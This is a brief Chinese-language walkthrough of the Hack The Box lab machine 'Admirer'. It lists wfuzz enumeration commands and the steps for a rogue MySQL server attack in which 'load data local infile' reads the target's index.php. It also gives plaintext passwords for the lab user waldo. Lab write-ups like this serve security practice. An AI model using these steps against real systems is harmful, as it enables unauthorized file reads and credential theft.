Hack the box靶机 Admirer

不能访问啊
wfuzz一下

wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/big.txt -z list,txt-php-html -u http://10.10.10.187/admin-dir/FUZZ.FUZ2Z --hc 404,403 -t 100

三个账号

先看ftp
得到两个文件
压缩包里是网站源码

waldo：Wh3r3_1s_w4ld0?

wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/big.txt -z list,php-txt-html --hc 403,404 -t 100 -u http://10.10.10.187/utility-scripts/FUZZ.FUZ2Z

失败了
利用原理

CREATE DATABASE admirer;
CREATE USER 'demo'@'%' IDENTIFIED BY 'demo_admirer';
GRANT ALL PRIVILEGES ON * . * TO 'demo'@'%';
FLUSH PRIVILEGES;
create table lez(data VARCHAR(255));

vim /etc/mysql/mariadb.conf.d/50-server.cnf
systemctl restart mysql

登录进来了

load data local infile '../index.php'
into table admirer.lez
fields terminated by '/n'

得到密码
waldo：&<h5b~yK3F#{PaPB&dA}{H>

ssh登录成功